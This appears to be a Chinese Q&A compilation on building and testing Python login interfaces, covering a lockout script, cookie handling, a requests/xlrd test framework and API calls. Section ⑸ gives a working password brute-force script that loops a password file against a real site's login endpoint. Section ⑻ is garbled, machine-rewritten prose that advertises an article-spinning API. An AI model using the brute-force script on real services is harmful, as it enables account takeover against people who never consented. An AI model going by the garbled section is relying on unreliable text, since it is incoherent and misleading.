python登錄介面
⑴ python3怎麼才能實現當用戶輸入錯誤類型
python 循環和file操作實現用戶密碼輸錯三次將用戶鎖定
一、需求
編寫登錄介面
1.輸入用戶名密碼
2.認證成功後顯示歡迎信息
3.輸錯三次後鎖定
二、簡單思路
登錄,三次密碼輸入錯誤鎖定用戶
1.用戶信息文件:存放用戶名和密碼
2.黑名單文件:將輸入三次錯誤的用戶加入此名單,加入此名單的用戶將不允許登錄
三、具體實現
第一步:在黑名單里檢測是否有此用戶,如果有則不讓登錄
第二步:用戶名和密碼判定
代碼如下:
#!/usr/bin/env python3
count = 0 #記錄用戶輸入密碼的次數
flag = 1 #標志位
lock = []
user_pass = []
username = input('please input your name:')
#讀取黑名單的內容
f = open('black_mingdan','r')
lock_file = f.readlines()
f.close()
#將黑名單文件內容作為列表元素追加到列表中
for i in lock_file:
line = i.strip('\n')
lock.append(line)
#若輸入的用戶名在黑名單中,如果在則給出提示信息:用戶已經被鎖定,請聯系管理員。
if username in lock:
print('User %s Have Been Locked.It is not allow to login,please contact Administrator.' %username)
else:
#輸入的用戶名不在黑名單中,則提示用戶輸入密碼信息
while True:
count += 1
passwd = input("please input your password:")
f = open('user_information','r')
user_file = f.readlines()
f.close()
for i in user_file:
user_pass = i.strip().split()
#判斷輸入的用戶名==user_pass[0] and 密碼==user_pass[1],如果相等,則提示歡迎信息並退出循環,如果不相等則
#結束本次循環
if username == user_pass[0] and passwd == user_pass[1]:
print('welcome user %s login !' %username)
flag = True
break
else:
continue
#若flag為真,則用戶名和密碼輸入正確跳出整個循環體,反之,若用戶輸入密碼錯誤的次數為3,則給出提示信息:用戶已經被鎖定
#並將username追加到黑名單中
if flag is True:
break
else:
if count == 3:
print('User Have Been try 3 times,Have Been Locked')
lock_file = open('black_mingdan','a')
#lock_file.write('Have Been Locked User:%s\n' %username)
lock_file.write('%s\n' %username)
lock_file.close()
break
程序執行結果如下:
[root] python3 denglu.py
please input your name:zhangsan
please input your password:123
welcome user zhangsan login !
[root]# python3 denglu.py
please input your name:zhangsan
please input your password:098
please input your password:678
please input your password:543
User Have Been try 3 times,Have Been Locked
[root]# python3 denglu.py
please input your name:zhangsan
User zhangsan Have Been Locked.It is not allow to login,please contact Administrator.
[root]# cat black_mingdan
zhangsan
⑵ python測試介面時需要登錄怎麼解決
有些網頁需要你登錄之後才可以訪問,你需要提供賬戶和密碼。
只要在發送http請求時,帶上含有正常登陸的cookie就可以了。
1.首先我們要先了解cookie的工作原理。
Cookie是由伺服器端生成,發送給User-Agent(一般是瀏喚皮覽器),瀏覽器會將Cookie的key/value保存到某個目錄下的文本文件內,下次請求同一網站時就發送該Cookie給伺服器(前提是瀏覽器設置為啟用cookie)。Cookie名稱和值可以由伺服器端開發自己定義,對於JSP而言也可以直接寫入jsessionid,這樣伺服器可以知道該用戶是否合法用戶以及是否需要重新登錄等。
2.之後我們要獲取和塵差到用戶正常登錄的cookie.
python提供了cookieJar的庫,只要兄拍把cookieJar的實例作為參數傳到urllib2的一個opener裡面。
然後訪問一次登錄的頁面,cookie就已經保存下來了。之後通過這個實例訪問所有的頁面都帶有正常登陸的cookie了。
以人人網為例子。
Python代碼
#encoding=utf-8
importurllib2
importurllib
importcookielib
defrenrenBrower(url,user,password):
#登陸頁面,可以通過抓包工具分析獲得,如fiddler,wireshark
login_page="hLogin.do"
try:
#獲得一個cookieJar實例
cj=cookielib.CookieJar()
#cookieJar作為參數,獲得一個opener的實例
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
#偽裝成一個正常的瀏覽器,避免有些web伺服器拒絕訪問。
opener.addheaders=[('User-agent','Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1)')]
#生成Post數據,含有登陸用戶名密碼。
data=urllib.urlencode({"email":user,"password":password})
#以post的方法訪問登陸頁面,訪問之後cookieJar會自定保存cookie
opener.open(login_page,data)
#以帶cookie的方式訪問頁面
op=opener.open(url)
#讀取頁面源碼
data=op.read()
returndata
exceptException,e:
printstr(e)
#訪問某用戶的個人主頁,其實這已經實現了人人網的簽到功能。
printrenrenBrower("httm/home","用戶名","密碼")
⑶ python怎麼做介面測試工具
之前使用過urllib和urllib2做介面測試,在做的途中,感覺使用urllib2直接進行的get,post 請求並沒有那麼好用。作為測試人員,所需要的測試工具應當以方便為第一要務,測試的耗時只要是真正的無人值守,耗時不是太久的都可以接受。所以,本人又嘗試了一個新的包:requests。
Requests 是用Python語言編寫,基於 urllib,採用 Apache2 Licensed 開源協議的 HTTP 庫。它比 urllib 更加方便,可以節約我們大量的工作,完全滿足 HTTP 測試需求。Requests 的哲學是以 PEP 20 的習語為中心開發的,所以它比 urllib 更加 Pythoner。更重要的一點是它支持 Python3 !推薦一篇文章,上面有該包的詳細說明傳送門,以下只會寫到我用到的部分,所以更多的了解需要自己去搜資料
好了,我們開始吧!!
介面測試中重要的部分:
1.get和post方法
2.用到的參數
3.請求頭
4.cookie
5.日誌輸出
6.如何調試你的程序--藉助fiddler
按照以上的順序,我將一一說明我的搞法,因為編碼能力有限,所以可能看著很low
一、get和post
requests包很好的實現了post和get方法,示例:
1 import requests2 response_get = requests.get(url, data, headers, cookies)3 response_post = requests.post(url, data, headers, cookies)
其他的訪問方式如put,head等等,用法幾乎都是如此,因為沒用到,所以省略
現在一般的介面返回值有頁面和json倆種,按照需求,可以分別使用response.text或者response.content獲取,text獲取的是unicode類型的返回值,而content返回值是str類型,所以我一般使用content來獲取返回值,因為這樣獲取的返回值可以直接使用正則或者in的方式來驗證返回值結果是否正確。
我自己為了實現介面的自動訪問,所以又在requests上面加了一層封裝,就像下面這樣:
三、cookie
一款產品的介面測試中必定會使用登錄狀態,需要使用cookie實現,之前寫過使用cookiejar獲取cookie,requests中獲取cookie的方法更為簡單,不過首先你得知道是哪個介面set了cookie,不過一般是登錄啦。登錄介面訪問之後set了cookie,那好,就去調用登錄介面,然後拿到搞回來的cookie:
# 只需要這樣!!login = requests.post(login_url, data=login_data, headers=login_header)
cookie = login.cookies
這個cookie就是登錄狀態了,拿著隨便用,需要登錄的就直接cookies=cookies
四、日誌輸出
這里注意看第二步中介面數據,有介面描述,也有介面是啥,第一步中又把content做成返回值了,具體拼接方式自己想吧,東西全有了,想寫啥寫啥,還可以加上獲取本地時間的api獲取介面運行時間,log文件該長啥樣是門學問,這里就不獻丑了。
五、借用fiddler調試你的腳本
requests允許使用代理訪問,這有啥用,真有!fiddler是一款截包改包的工具,而且通過擴展可以進行請求間的比對,這樣讓你的程序訪問的請求和真正正確的請求作對比,為啥我的程序訪問出錯?是不是缺了請求頭?參數是不是丟了?cookie是不是少了?很容易看出來。寫法如下:
proxies = { "http": "http://127.0.0.1:8888", "https": "http://127.0.0.1:8888"}
requests.post(url, proxies=proxies)
這樣就可以走代理了,除fiddler以外還有charles和burp suite可以使用,具體看個人喜好吧。
⑷ 如何創建 python+requests介面自動化測試框架
工作原理: 測試用例在excel上編輯,使用第三方庫xlrd,讀取表格sheet和內容,sheetName對應模塊名,Jenkins集成服務發現服務moleName查找對應表單,運用第三方庫requests請求介面,根據結果和期望值進行斷言,根據輸出報告判斷介面測試是否通過。
1. 數據准備
數據插入(容易實現的測試場景下所需外部數據)
准備sql (介面需要重復使用,參數一定得是變數)
2.集成部署(運維相關了解即可)
平滑升級驗證腳本加入自動化
3.自動化框架實現
調用mysql
excel遍歷測試用例
requests實現介面調用
根據介面返回的code值和Excel對比
報告反饋
暴露服務
寫一個簡單登錄的介面自動化測試
代碼的分層如下圖:
coding.png
一、寫一個封裝的獲取excel表格的模塊
excel.png
代碼實現如下:
# !/usr/bin/python
# -*- coding: UTF-8 -*-
# 基礎包:excel的封裝
import xlrd
workbook = None
def open_excel(path):
"""打開excel"""
global workbook
if (workbook == None):
workbook = xlrd.open_workbook(path, on_demand=True)
def get_sheet(sheetName):
"""獲取行號"""
global workbook
return workbook.sheet_by_name(sheetName)
def get_rows(sheet):
"""獲取行號"""
return sheet.nrows
def get_content(sheet, row, col):
"""獲取表格中內容"""
return sheet.cell(row, col).value
def release(path):
"""釋放excel減少內存"""
global workbook
workbook.release_resources()
del workbook
代碼封裝後當成模塊引用,這還是最開始呢。
二、引用log模塊獲取日誌
准備工作:
需要一個日誌的捕獲,包括框架和源碼拋出的expection。
代碼如下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# 基礎包:日誌服務
import logging
import time
def getLogger():
global tezLogPath
try:
tezLogPath
except NameError:
tezLogPath = "/data/log/apiTest/"
FORMAT = '%(asctime)s - %(name)s - %(levelname)s - %(message)s'
# file = tezLogPath + time.strftime("%Y-%m-%d", time.localtime()) + ".log"
# logging.basicConfig(filename=file, level=logging.INFO, format=FORMAT)
# 開發階段為了方便調試,可不輸出到文件
logging.basicConfig(level=logging.INFO, format=FORMAT)
return logging
三、引用requests模塊介面測試
准備工作:
需要的請求類型和執行測試的方法。
代碼如下:
#!/usr/bin/python#
#-*- coding: UTF-8 -*-
# 基礎包:介面測試的封裝
import requests
import tezLog as log
logging = log.getLogger()
def api_test(method, url, data ,headers):
"""
定義一個請求介面的方法和需要的參數
:Args:
method - 企業名稱 str
url - 用戶昵稱 str
data - 參數 str
headers - 請求頭信息 dict
非RESTful API請求另外的請求類型實際用不到。也不安全。
"""
try:
if method == "post":
results = requests.post(url, data, headers=headers)
if method == "get":
results = requests.get(url, data, headers=headers)
# if method == "put":
# results = requests.put(url, data, headers=headers)
# if method == "delete":
# results = requests.delete(url, headers=headers)
# if method == "patch":
# results == requests.patch(url, data, headers=headers)
# if method == "options":
# results == requests.options(url, headers=headers)
response = results.json()
code = response.get("code")
return code
except Exception, e:
logging.error("service is error", e)
def run_test(sheet):
"""
定義一個執行和斷言的方法
:Args:
sheet - 服務名稱 str(excel頁腳名稱識別的)
"""
rows = excel.getRows(sheet)
fail = 0
for i in range(2, rows):
#這里為什麼從第二行開始跑,因為會先執行SQL進行數據准備如之前Excel展示的空白位置
testData = excel.getContent(sheet, i, gl.CASE_DATA)
testUrl = excel.getContent(sheet, i, gl.CASE_URL)
testMethod = excel.getContent(sheet, i, gl.CASE_METHOD)
testHeaders = eval(excel.getContent(sheet, i, gl.CASE_HEADERS))
testCode = excel.getContent(sheet, i, gl.CASE_CODE)
actualCode = request.apiTest(testMethod, testUrl, testData, testHeaders)
expectCode = str(int(testCode))
failResults = ' url: ' + testUrl + ' params: ' + testData + ' actualCode: ' + actualCode + ' expectCode: ' + expectCode
if actualCode == expectCode:
logging.info("pass")
elif actualCode != expectCode:
logging.info("fail %s", failResults)
fail += 1
if fail > 0 :
return False
return True
四、關於參數中gl模塊
准備工作:
所有的參數和常量我們會整理到這個文件中,因為設計業務和服務密碼、資料庫密碼這里展示一部分。
代碼如下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# 腳本功能:全部變數
import time
import uuid
CASE_NUMBER = 0 # 用例編號
CASE_NAME = 1 # 用例名稱
CASE_DATA = 2 # 用例參數
CASE_URL = 3 # 用例介面地址
CASE_METHOD = 4 # 用例請求類型
CASE_CODE = 5 # 用例code
CASE_HEADERS = 6 # 用例headers
SQL_ROW = 0 # 預執行SQL的行號
SQL_COL = 1 # 預執行SQL的列號
五、寫一個run文件:只是用來執行的,業務和代碼剝離。
代碼如下:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
# 驗證包:介面測試腳本
import sys
import core.tezLog as log
import function.common as common
logging = log.getLogger()
"""1.外部輸入參數"""
path = sys.path[0] # 當前路徑
mole = sys.argv[1] # 服務模塊名
url = sys.argv[2] # 服務地址
host = sys.argv[3] # 資料庫地址
user = sys.argv[4] # 資料庫用戶名
password = sys.argv[5] # 資料庫密碼
db = sys.argv[6] # 資料庫名稱
"""2.根據mole獲取Sheet"""
logging.info("-------------- Execute TestCases ---------------")
sheet = common.get_excel_sheet(path + "/" + common.filename, mole)
"""3.數據准備"""
logging.info("-------------- Prepare data through MysqlDB --------------")
sql = common.get_prepare_sql(sheet)
common.prepare_data(host=host, user=user, password=password, db=db, sql=sql)
"""4.執行測試用例"""
res = common.run(sheet, url)
logging.info("-------------- Get the result ------------ %s", res)
"""這里的res是我們平滑升級的時候需要返回結果為TRUE才會繼續下面走。"""
六、查看測試報告(部署到jenkins會通過控制台查看)
⑸ 如何用python寫一個不斷嘗試密碼達到網址登陸成功的源碼!
'''
# 提取登錄介面,觀察登錄失敗特徵,根據密碼txt不停嘗試,若返回結果沒有失敗特徵就表示成功
#(不保險的話,可以將所有嘗試結果記錄下來,人為判斷)
# 以藝龍登錄介面為例:https://secure.elong.com/passport/ajax/elongLogin
# 失敗特徵:介面返回內容包含"success":false
'''
import requests
# 把登錄介面、頭部、請求參數、密碼按列讀取為列表,都定義好
loginUrl = 'https://secure.elong.com/passport/ajax/elongLogin'
header = {"Content-Type": "application/x-www-form-urlencoded"}
postData = {"userName":"name","passwd":""}
with open('密碼.txt','r') as file:
pwdList = file.readlines()
# 循環更新密碼並發送請求,判斷返回內容是否包含失敗特徵
for pwd in pwdList:
postData["passwd"]=pwd
response=requests.request(method='POST',url=loginUrl,data=postData,headers=header)
resData = response.text
print resData
# find()返回-1時表示沒找到失敗特徵
if resData.find('"success":false') == -1:
print '正確密碼是:{}'.format(pwd)
break
⑹ python介面登陸超時
python介面登陸超時解決方法如下:
1、利用python實現介面登陸超時,可以利用python實現介面調用,讀取登陸信息,實現超時時間設置,當超時時間到達時,重新調用介面登陸。
2、利用python實現定時任務,可以利用python實現定時任務,定時調用介面,檢查登陸信息,如果登陸信息超時,則重新登陸。
3、利用python實現主動超時檢測,可以利用python實現客戶端輪詢,定時調用介面,檢查登陸信息,如果登陸信息超時,則重新登陸。
Python是一種強大而完全可擴展的編程語言,可以用來開發大型且復雜的應用程序。Python提供了一系列介面,這些介面可以幫助開發者編寫高效和可維護的代碼。
⑺ python調用微博api的place介面出現10014錯誤,怎麼解決
一:獲取app-key 和 app-secret
使用自己的微博賬號登錄微博開放平台(http://open.weibo.com/),在微博開放中心下「創建應用」創建一個應用,應用信息那些隨便填,填寫完畢後,不需要提交審核,需要的只是那個app-key和app-secret
二:設置授權回調頁
⑻ python怎麼獲取需要登陸的介面的數據
使用Python做爬蟲是很廣泛的應用場景,那就涉及到了Python是如何獲取介面數據的呢?Python擁有很多很強大的類庫,使用urllib即可輕松獲取介面返回的數據。
...展開
工具原料Python開發工具url介面,用於請求獲取數據
方法/步驟分步閱讀
1
/4
首先新建一個py文件,導入所需的類庫,urllib,json等。
2
/4
聲明api的url地址,和構造請求頭。
3
/4
使用urlopen方法發起請求並獲取返回的數據。
4
/4
最後就是對返回字元串的處理了。比如字元串的截取,字元串的轉換成json對象,轉換成欄位,再獲取對應key的值。
使用Python3實現HTTP get方法。使用聚合數據的應用編程介面,你可以調用小發貓AI寫作API。這是一個免費的應用程序介面,先上代碼,詳細說明寫在後面:
1
2
3
4
5
6
7
8
9
10
11
12
import requests
import time
import re
se = requests.session()
if __name__ == '__main__':
Post_url = "http://api-ok.xiaofamao.com/api.php?json=0&v=1&key=xxxxxx" #自己想辦法弄到key
Post_data = {
'wenzhang': '床前明月光,疑是地上霜。'
}
Text = se.post(Post_url, data=Post_data).text.replace("'", '"').replace('/ ', '/')
print(Text)
首先,什麼是原料葯?應用編程介面的全稱也稱為應用編程介面。它簡稱為應用編程介面。當我第一次接觸介面調用時,我不知道寫什麼,因為我看了整個項目。這個項目是由龍卷風寫的。看了半天龍卷風後,我發現我走錯了方向。我只是直接看著界面,因為沒有人告訴我項目的整個過程。我不得不強迫自己去看它。我所要做的就是找到程序的主入口,然後根據函數一步一步地調用它。
當我編寫介面時,因為我必須配合後台編寫和瀏覽器訪問,每次訪問只需要傳入相應的參數來調用相應的介面。界面可以由他人編寫,也可以由合作公司提供。當然,合作公司提供的不是免費的。現在基本上,如果我不訪問它一次,它只收費幾美分。當你聽到這些,不要低估這幾分。有時候如果你打了幾百萬次電話,會花很多錢。有些人認為,我們不能按月付款嗎?對不起,我不知道。總之,我們一個接一個地計算,因為第一次,我認為我買的那些直接買了我們想要的所有數據,把它們保存在本地資料庫中,當我使用它們時,直接從我自己的資料庫中轉移它們。後來,我發現我想得太多了,偽原創API。
該介面調用由python的請求庫訪問,它基本上是一個get或post請求。有些介面是加密的,然後我們必須用另一方提供給我們的公鑰加密或解密,然後用相應的參數訪問。我們想要的數據基本上是在請求後返回的結果中以json格式解析的。因此,在請求之後,我們可以用請求提供的json函數來解析它,然後提取數據以一次訪問一個數據。
沒錯,介面調用就是這么簡單,但是有了後台編寫,我才發現請求庫現在有多強大,只要它是http或https,我很高興我在一周內讀完了請求和bs4,我真的不打電話給爬蟲工程師,如果我是爬蟲的時候不學習請求,你能用scrapy寫4=dead來寫它嗎?Urllib的單詞基本上被刪除了。如果你有要求,為什麼要用這個?